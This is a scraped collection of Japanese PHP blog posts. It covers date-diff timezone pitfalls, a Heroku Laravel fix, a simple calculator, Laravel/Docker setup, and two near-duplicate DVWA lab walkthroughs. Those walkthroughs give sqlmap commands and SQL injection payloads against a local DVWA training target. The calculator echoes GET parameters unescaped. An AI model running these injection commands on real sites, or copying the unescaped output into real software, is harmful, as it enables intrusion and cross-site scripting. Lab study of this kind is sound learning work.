が同じtimezoneとは限らないのだ。そこで、PHPで採用されている https://github.com/derickr/timelib のアルゴリズムでは、 両方の表記をUTCに修正してから、diffを算出する という風になっている。Asia/Tokyoなら、UTCに直すと00:00は前日の15:00。
2010-01-01 ~ 2010-03-01
は、2009-12-31 ~ 2010-02-28
という計算にすり替わり、1ヶ月 28日
という結果が得られたわけだ。タイムゾーンによる挙動差
- UTCより東の国々、+のタイムゾーンだと、UTCにすると過去の日付になる。つまり月の最初あたりでdiffを取ったときに、この挙動が観測できる。
- UTCより西の国々、-のタイムゾーンだと、UTCにすると未来の日付になる。つまり月の最後あたりでdiffを取ったときに、この挙動が観測できる。
冒頭で
UTC以外のほとんどのTimezoneだと
と書いたが、問題が一切起きないのはUTCと同じオフセットで、なおかつDST(サマータイム)を採用していないタイムゾーンだけだ。ほとんどのタイムゾーンでは多かれ少なかれこの挙動に巻き込まれる。サマータイムの話
ここまでの話を見て、なるほどUTC扱いにして計算すればいいのか!みたいに 思ってはいけない。
<?php // 日付だけはズレないけど、間違っている関数 function date_diff2(DateTimeInterface $since, DateTimeInterface $until) { $utc = new DateTimeZone('UTC'); $since = new DateTime($since->format('Y-m-d H:i:s'), $utc); $until = new DateTime($until->format('Y-m-d H:i:s'), $utc); return $since->diff($until); }この関数は、DST(Daylight Saving Time)、いわゆるサマータイムが導入されているタイムゾーンだと正しく動作しない。DSTありのタイムゾーンだと、日付によってオフセットが異なるため、UTCに単純に引き直しただけだと情報が失われてしまうのだ。
例えば
America/Los_Angeles
だと、 2020-03-08 の01:00:00 - 03:00:00
をdiffると、
- DateTime::diffなら
1時間
- ↑の、date_diff2なら
2時間
と計算される。02:00にサマータイムに入り
02:00 ~ 03:00
の期間は存在しないため、この場合は1時間
が正しい。サマータイム滅んでくれないかなー個人的に欲しかったもの
というわけで、
DateTime::diff
は割と「正しい挙動」をどう設定するかが難しい。バグかどうかではなく、「こうしたい」という意見が必要だ。現状のtimelibも、いちおう仕様通り動いているとも言える。( php.net にもう少し注釈があってもいいとは思うが)とはいえ、今の仕様も求めるものじゃないと思う。
色々改善策を考えたのだが…、DSTが鬼門で、期待する答えを得るためにはかなり頑張らなくてはならなそうだった。結局、年〜ミリ秒に至るまで全てのdiffをまとめて計算する関数を作ってしまったのが全ての元凶で、
- 日付のdiffを求める関数
- 日数と時間のdiffを求める関数
の2つに分ければ難しく考えなくとも問題は起きなかったのでは、と思うようになった。
日付までのdiffだったら、UTCとして解釈させて、今までどおりDateTime::diffを取ればいいだけだ。同一タイムゾーンであれば、DSTの影響が24時間を超えることはないし、問題なく計算できるはず。
// 日付までのdiffを取る関数。この結果の年月日は直感と一致する function date_diff2(DateTimeInterface $since, DateTimeInterface $until, bool $absolute = FALSE): DateInterval { if ($since->getTimezone()->getName() !== $until->getTimezone()->getName()) { throw new InvalidArgumentException('cannot handle different timezones'); } $utc = new DateTimeZone('UTC'); $since = new DateTimeImmutable($since->format('Y-m-d'), $utc); $until = new DateTimeImmutable($until->format('Y-m-d'), $utc); return $since->diff($until, $absolute); }今までのDateTime::diffで素直に計算される結果は、年/月/日は信用ならないものとして扱う。
代わりに days(日数)があるが、こちらまでは信用ができる。
項目 DateIntervalの
プロパティ名formatでの表記 信用できる? 符号 invert %R ○ 年 y %y ✗ 月 m %m ✗ 日 d %d ✗ 日数 days %a ○ 時間 h %h ○ 分 i %i ○ 秒 s %s ○ マイクロ秒 f %f ○ この2つの関数を使い分けるのが良さそうだ。
まとめ
- DateTime::diff による年月日の差分は、直感と反する結果が返ってくる
- UTCとして解釈させると直感と一致する結果が得られる
- しかし日付より詳細なdiffを計算しようとするとDSTのせいでうまくいかない
- 日付と時刻は難しい
- DST滅んでほしい
余談: 年齢計算
満年齢を計算するだけであれば、
YYYYmmdd
をintとして解釈させた上で、(int)((対象日のYYYYmmdd - 誕生日のYYYYmmdd) / 10000)
とするやり方もよく知られている。
まあ、これでも問題ない。余談その2: timelibの影響範囲
timelibのreadmeによると、PHPの他にMongoDBでも採用されているとある。
なので、MongoDBにも同じ問題があるのかもしれない。(よく知らない)
- 投稿日:2020-03-14T08:25:07+09:00
HerokuでLaravel+MySQLのプロジェクトをマイグレーションする時に詰まったこと
$ heroku config | grep CLEARDB_DATABASE_URL上記で表示されたDATABASE_URLを参考に環境変数を設定
$ heroku config:set DB_DATABASE=[データベース名] $ heroku config:set DB_HOST=[ホスト名] $ heroku config:set DB_USERNAME=[ユーザー名] $ heroku config:set DB_PASSWORD=[パスワード]マイグレーションを実行
$ heroku run php artisan migrate下記のエラーが表示された
環境変数を確認しても間違いはなかったSQLSTATE[HY000] [2002] No such file or directory調べたところ、unix_socketはlocalhost内で通信を行う際に使うみたいなので、config/database.phpファイル内のunix_socketのパスを削除。
config/database.php'unix_socket' => env('DB_SOCKET', 'root'),config/database.php'unix_socket' => env('DB_SOCKET', ''),無事にMysqlに接続できた
- 投稿日:2020-03-14T02:23:02+09:00
phpで簡易電卓を作る②
phpで簡易電卓を作る
前回記事はこちら→https://qiita.com/pezio/items/ba31b0cba33b54c25a82
課題
・数値入力欄に数値以外を入力されたらどうする?
・続けて計算ができないエラーハンドリング
caluculate.php<?php $number1 = $_POST['number1']; $symbol = $_POST['symbol']; $number2 = $_POST['number2']; $answer =''; if (isset($number1) && isset($number2) && is_numeric($number1) && is_numeric($number2)) { switch ($symbol) { case '+': $answer = $number1 + $number2; break; case '-': $answer = $number1 - $number2; break; case '*': $answer = $number1 * $number2; break; case '/': $answer = $number1 / $number2; break; }; header('Location: index.php/?answer='.$answer); } else { $message = '無効な値です'; header('Location: index.php/?message='.$message); };ifの中で、(①要素が空白じゃない②数字である)場合のみswitch文への処理を行う。
is_numeric — 変数が数字または数値形式の文字列であるかを調べる
isset — 変数が宣言されていること、そして NULL とは異なることを検査する
条件が満たされない場合は変数
$message
にメッセージをつめて、パラメーターを送る。
それ以外の場合は計算結果を$answer
につめて送る。index.php
index.php<!DOCTYPE html> <html lang='ja'> <head> <meta charset="utf-8"> <title>Caluculator</title> </head> <body> <h1>電卓(簡易版)</h1> <form class="formula" action="calculate.php" method="post"> 数字1:<input type="string" name="number1"><br> 記号:<select name="symbol"> <option value="+">+</option> <option value="-">-</option> <option value="*">×</option> <option value="/">÷</option> </select><br> 数字2:<input type="string" name="number2" value=""><br> <input type="submit"> </form> <h2>答え:<?php echo $_GET['answer']?></h2> <h2><?php echo $_GET['message']?></h2> <a href="/"><input type="submit" value="リセット" ></a> </body> </html>
$message
を表示するために<h2><?php echo $_GET['message']?></h2>
で表示。
<a href="/"><input type="submit" value="リセット" ></a>
でトップへのリンクを作ることで、計算結果のリセットが可能に。次回
機能追加
・数字入力欄を新たに追加できるようにする
- 投稿日:2020-03-14T00:19:19+09:00
DVWA(SQLインジェクション)全レベルの脆弱性について
前提
- kali linux環境がある
- DVWAのセットアップ済み
- 初級レベル理解済み
目標
- 脆弱性の理解を深める。
手順概要
- 大まかな挙動を把握する
- コードを見て脆弱性をみつける
- コードの脆弱性を攻撃する
内容
挙動の把握
low
- 存在するIDと存在しないIDを入力
- urlにクエリが入る
- 入力の結果は、success/failの文言で判断。
medium
- selectBoxのoption値をPOST
- 入力の結果は、success/failの文言で判断。
high
- クリックすると別windowが開く
- 別windowでidを入力=>idとsubmitをpostする。その際cookieにidを埋め込んでいる。
- 上記responseを受けて、元の画面でGETされる。その際cookieにidを埋め込んでいる。
- 入力の結果は、success/failの文言で判断。
コードを確認
low
- 入力値がそのまま格納される。
<?php $id = $_GET[ 'id' ]; // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; ?>medium
- urlからの入力や、文字列の直接入力はできない。
- mysqli_real_escape_stringで特殊文字をエスケープ
<?php // Get input $id = $_POST[ 'id' ]; $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; ?>high
- 文字のエスケープはないので、そこは気にしない。
- limit 1で1つだけ表示になっているがsqlmap使うので関係ない。
- SQL命令に含まれるidはcookieから取得している。
<?php // Get input $id = $_COOKIE[ 'id' ]; // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors // Get results $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors ?>impossible
- tokenチェック
- is_numericで数値かどうかの判定
<?php // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $id = $_GET[ 'id' ]; // Was a number entered? if(is_numeric( $id )) { // Check the database } ?>脆弱性を攻撃する
low
- urlにクエリが入るパターンなので簡単。
- sqlmapのurlにクエリを含めれば、後はsqlmapにお任せすればよい。
root@kali:~# sqlmap -u "http://localhost/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=dkk4jkgnh7o0m46ov6d0ben3k1" # その結果が以下 --- Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=1' AND 6579=6579 AND 'ztyK'='ztyK&Submit=Submit Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=1' AND (SELECT 6933 FROM (SELECT(SLEEP(5)))IIUV) AND 'lrmA'='lrmA&Submit=Submit ---medium
- POSTリクエストであることだけ考慮すればよい。
- sqlmapに--dataオプションを追加すれば、post処理が模擬される。
# --data request_bodyにparamsを乗せる root@kali:~# sqlmap -u "http://localhost/DVWA-master/vulnerabilities/sqli_blind/" --cookie="security=medium; PHPSESSID=dkk4jkgnh7o0m46ov6d0ben3k1" --data="id=1&Submit=Submit" # その結果が以下 --- Parameter: id (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=1 AND 7941=7941&Submit=Submit Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=1 AND (SELECT 5502 FROM (SELECT(SLEEP(5)))BxyM)&Submit=Submit ---high
- ここは少し頭を使う。
- sqlmapに設定するURLには注意
- sqli_blind/cookie-input.phpの場合
- idとsubmitのpostとidを含むcookieを模擬する必要がある。(これは問題ない)
- この攻撃ではsuccess/failでresponseの差分がないのでsqlmapでは脆弱性を判定できない。(これはハマるところ)
- sqli_blind/
- 実はGETしかもクエリなし
- id付きのcookieがあればいい
- 上記を読むと分かる通り、攻撃対象として適しているのは”sqli_blind/”
- ということで以下コマンド実行
# -p {param} で攻撃に使用するparam指定。 # --dbms データベース指定。(対象を絞り解析時間の節約用) root@kali:~# sqlmap -u "http://localhost/DVWA-master/vulnerabilities/sqli_blind/" --cookie="security=high; PHPSESSID=dkk4jkgnh7o0m46ov6d0ben3k1; id=1" -p id --dbms=mysql # その結果が以下 --- Parameter: id (Cookie) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: security=high; PHPSESSID=dkk4jkgnh7o0m46ov6d0ben3k1; id=1' AND 2480=2480-- jotW Type: time-based blind Title: MySQL >= 5.0.12 OR time-based blind (SLEEP) Payload: security=high; PHPSESSID=dkk4jkgnh7o0m46ov6d0ben3k1; id=1' OR SLEEP(5)-- caGm ---impossible
- 無理っぽい
- 投稿日:2020-03-14T00:19:19+09:00
DVWA(blindSQLインジェクション)全レベルの脆弱性について
前提
- kali linux環境がある
- DVWAのセットアップ済み
- 初級レベル理解済み
目標
- 脆弱性の理解を深める。
手順概要
- 大まかな挙動を把握する
- コードを見て脆弱性をみつける
- コードの脆弱性を攻撃する
内容
挙動の把握
low
- 存在するIDと存在しないIDを入力
- urlにクエリが入る
- 入力の結果は、success/failの文言で判断。
medium
- selectBoxのoption値をPOST
- 入力の結果は、success/failの文言で判断。
high
- クリックすると別windowが開く
- 別windowでidを入力=>idとsubmitをpostする。その際cookieにidを埋め込んでいる。
- 上記responseを受けて、元の画面でGETされる。その際cookieにidを埋め込んでいる。
- 入力の結果は、success/failの文言で判断。
コードを確認
low
- 入力値がそのまま格納される。
<?php $id = $_GET[ 'id' ]; // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; ?>medium
- urlからの入力や、文字列の直接入力はできない。
- mysqli_real_escape_stringで特殊文字をエスケープ
<?php // Get input $id = $_POST[ 'id' ]; $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; ?>high
- 文字のエスケープはないので、そこは気にしない。
- limit 1で1つだけ表示になっているがsqlmap使うので関係ない。
- SQL命令に含まれるidはcookieから取得している。
<?php // Get input $id = $_COOKIE[ 'id' ]; // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors // Get results $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors ?>impossible
- tokenチェック
- is_numericで数値かどうかの判定
<?php // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $id = $_GET[ 'id' ]; // Was a number entered? if(is_numeric( $id )) { // Check the database } ?>脆弱性を攻撃する
low
- urlにクエリが入るパターンなので簡単。
- sqlmapのurlにクエリを含めれば、後はsqlmapにお任せすればよい。
root@kali:~# sqlmap -u "http://localhost/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=dkk4jkgnh7o0m46ov6d0ben3k1" # その結果が以下 --- Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=1' AND 6579=6579 AND 'ztyK'='ztyK&Submit=Submit Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=1' AND (SELECT 6933 FROM (SELECT(SLEEP(5)))IIUV) AND 'lrmA'='lrmA&Submit=Submit ---medium
- POSTリクエストであることだけ考慮すればよい。
- sqlmapに--dataオプションを追加すれば、post処理が模擬される。
# --data request_bodyにparamsを乗せる root@kali:~# sqlmap -u "http://localhost/DVWA-master/vulnerabilities/sqli_blind/" --cookie="security=medium; PHPSESSID=dkk4jkgnh7o0m46ov6d0ben3k1" --data="id=1&Submit=Submit" # その結果が以下 --- Parameter: id (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=1 AND 7941=7941&Submit=Submit Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=1 AND (SELECT 5502 FROM (SELECT(SLEEP(5)))BxyM)&Submit=Submit ---high
- ここは少し頭を使う。
- sqlmapに設定するURLには注意
- sqli_blind/cookie-input.phpの場合
- idとsubmitのpostとidを含むcookieを模擬する必要がある。(これは問題ない)
- この攻撃ではsuccess/failでresponseの差分がないのでsqlmapでは脆弱性を判定できない。(これはハマるところ)
- sqli_blind/
- 実はGETしかもクエリなし
- id付きのcookieがあればいい
- 上記を読むと分かる通り、攻撃対象として適しているのは”sqli_blind/”
- ということで以下コマンド実行
# -p {param} で攻撃に使用するparam指定。 # --dbms データベース指定。(対象を絞り解析時間の節約用) root@kali:~# sqlmap -u "http://localhost/DVWA-master/vulnerabilities/sqli_blind/" --cookie="security=high; PHPSESSID=dkk4jkgnh7o0m46ov6d0ben3k1; id=1" -p id --dbms=mysql # その結果が以下 --- Parameter: id (Cookie) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: security=high; PHPSESSID=dkk4jkgnh7o0m46ov6d0ben3k1; id=1' AND 2480=2480-- jotW Type: time-based blind Title: MySQL >= 5.0.12 OR time-based blind (SLEEP) Payload: security=high; PHPSESSID=dkk4jkgnh7o0m46ov6d0ben3k1; id=1' OR SLEEP(5)-- caGm ---impossible
- 無理っぽい
- 投稿日:2020-03-14T00:10:11+09:00
がっつり開発するほどじゃないけどちょっとLaravelいじりたい時の環境構築
Laravel使ってるところに放り込まれたので軽く予習するために環境を作ったメモ。
macOS Catalina v10.15.3 Homebrew v2.2.9Composerインストール
▶︎ brew install composer ▶︎ composer -V Composer version 1.9.3
PHPインストール
MacにプリインストールされているPHPを使ってると、このあとうまくいかなかったのでついでにPHPも入れる。
どのみち、公式でHomesteadを使わないならPHP >= 7.2.5
じゃないとだめって書いてあるのでアップデートの必要はあったっぽいが詳しくはわからない。▶︎ brew search php ==> Formulae brew-php-switcher php-cs-fixer phplint phpstan php php@7.2 phpmd phpunit php-code-sniffer php@7.3 phpmyadmin
brew install php
したらv7.4.3
が入った。Laravelインストール
▶︎ composer require "laravel/installer" ▶︎ laravel new ディレクトリ名
もしくは
▶︎ composer create-project laravel/laravel ディレクトリ名
(どっちの方がいいとかあるのだろうか?)
バージョン確認
▶︎ php artisan -V Laravel Framework 7.0.8
Hello World
コントローラー
▶︎ php artisan make:controller SampleController Controller created successfully.
app/Http/Controllers/SampleController.php<?php namespace App\Http\Controllers; use Illuminate\Http\Request; class SampleController extends Controller { public function sampleFunction() { $hello = 'Hello'; return view('sample', ['h' => $hello, 'w' => 'World']); } }ビュー
resources/views/sample.blade.php<h1>{{ $h }} {{ $w }}</h1>ルーティング
routes/web.php<?php use Illuminate\Support\Facades\Route; Route::get('/','SampleController@sampleFunction');ローカルサーバー起動
▶︎ php artisan serve Laravel development server started: http://127.0.0.1:8000
http://127.0.0.1:8000
にアクセスするとこんな感じ。TODO
- Bladeテンプレート
- artisanコマンド
- データベース関連
- 投稿日:2020-03-14T00:00:31+09:00
【Laradock環境構築】Dockerインストール〜Laravelデフォルトページ表示まで①
はじめに
こちらの記事では、Laradockの環境構築として、
Dockerのインストール〜Laravelのデフォルトページ表示までを載せていきます。
このページでは、パート①ということで、Dockerのインストール方法を載せていきます。
(Mac版しか載せていません)次回のパート②はこちら↓
https://qiita.com/y-aimi/items/a6b3ee863ec67c8d4b97Dockerインストール
下記リンクからインストールできます。
https://hub.docker.com/editions/community/docker-ce-desktop-macSign Upをクリック
全て入力し、Sign Upをクリック
(プロフィール登録などが出ますが、今回は必要ないので無視)
すると、登録したメールアドレスに確認のメールが届いているのでチェック。[Verify email address]をクリック。
すると、Sign Inの画面が表示されるのでSign Inします。Docker.dmg がインストールされたかと思いますので、こちらを開く。
上記のような画面が出るので、左のクジラのイラストをApplicationsにドラッグ&ドロップ。
(このような画面が出なくてもApplicationに入れれば大丈夫です。)アプリケーションのDockerを起動。
すると、初回は下記のアラートが出ます。これは、
「ネットからインストールしたアプリだから確認のためにパスワード教えてくれない?」
ということです。問題なければOKをクリック。
そのままMacのパスワードを入力。すると、このような画面が表示されるので、Sing Inします。
[Docker Desktop is now up and running!] に変われば大丈夫です。
無事起動されているかのチェックは画面の上にこののマークがあれば大丈夫です。
(クジラさんがきちんとコンテナを積んでくれていますね...!!)まとめ
これで、Dockerのインストールが無事終わりました!
次回は、エラーが起きまくって困ったLaradockの環境構築に行きたいと思います。次へ
Laradock環境構築】Dockerインストール〜Laravelデフォルトページ表示まで②
https://qiita.com/y-aimi/items/a6b3ee863ec67c8d4b97